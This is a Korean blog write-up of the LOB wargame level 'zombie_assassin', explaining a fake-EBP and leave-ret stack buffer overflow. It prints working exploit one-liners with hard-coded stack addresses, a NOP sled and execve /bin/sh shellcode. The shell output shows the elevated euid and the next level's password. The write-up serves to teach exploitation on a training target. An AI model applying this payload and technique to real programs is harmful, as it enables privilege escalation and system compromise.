소스코드. FEBP 문제라고 한다.

FEBP = Fake EBP

FPO와 상당히 유사하다.


라이트업 작성 중, 이전 레벨들에서 설명한 개념들은 생략하고 쓰도록 하겠다.


EBP Overwrite+RET->Leave-ret->shellcode(in stack)

형식으로 exploit을 시도해보자.


leave-ret가 뭐에요?

정상적인 leave 명령은 이전 스택 프레임의 EBP를 찾아 가기 위한 명령이다.

esp를 ebp로 mov 시키고

pop하여 ebp를 이전 스택 프레임의 EBP 위치로 되돌린다.

ESP는 pop을 통해 자연스레 +4 된다.

이후 ret 명령은 우리가 알고있는대로 pop eip로써

EIP 값을 조정한다.


< 그림 >


페이로드는 다음과 같다.


&shellcode*10(총 40바이트) + FEBP + &leave-ret


shellcode는 스택에 싣는다.

FEBP를 덮을 값은 &buffer-4.

leave-ret의 주소는 gdb-disas main을 통해 알 수 있다.


이제 주소값을 얻어보자.


<buf, shellcode address 찾기>


mkdir /tmp/dirassassin

cd /tmp/dirassassin

cp ~/zombie_assassin .


./zombie_assassin `python -c 'print "A"*40+"BBBB"+"CCCC"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


seg fault를 발생시키고 core dump를 보자.



x/20x $esp-80


0x41로 덮어진 버퍼를 찾을 수 있다.

좀 더 높은 주소에서 \x90+shellcode를 찾을 수 있다.



buf와 febp에 덮을 주소는 찾았다.

leave-ret의 주소를 찾아보자.


<GDB-leave-ret>


gdb -q ./zombie_assassin

disas main


자, 이제 페이로드를 완성 시킬 수 있다.


exploit을 시도해보자.


<exploit>




[assassin@localhost dirassassin]$ ./zombie_assassin `python -c 'print "\xd0\xd5\xff\xbf"*10+"\x40\xd3\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿@Կ¿߄ 

bash$ exit

exit

[assassin@localhost dirassassin]$ ln -sf ~/zombie_assassin zombie_assassin 

[assassin@localhost dirassassin]$ ./zombie_assassin `python -c 'print "\xd0\xd5\xff\xbf"*10+"\x40\xd3\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿@Կ¿߄ 

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$ my-pass

euid = 516

no place to hide

bash$


zombie_assassin의 패스워드는 no place to hide

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB succubus -> nightmare  (0) 2015.11.18
LOB zombie_assassin -> succubus  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18
LOB darkknight -> bugbear  (0) 2015.11.15

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/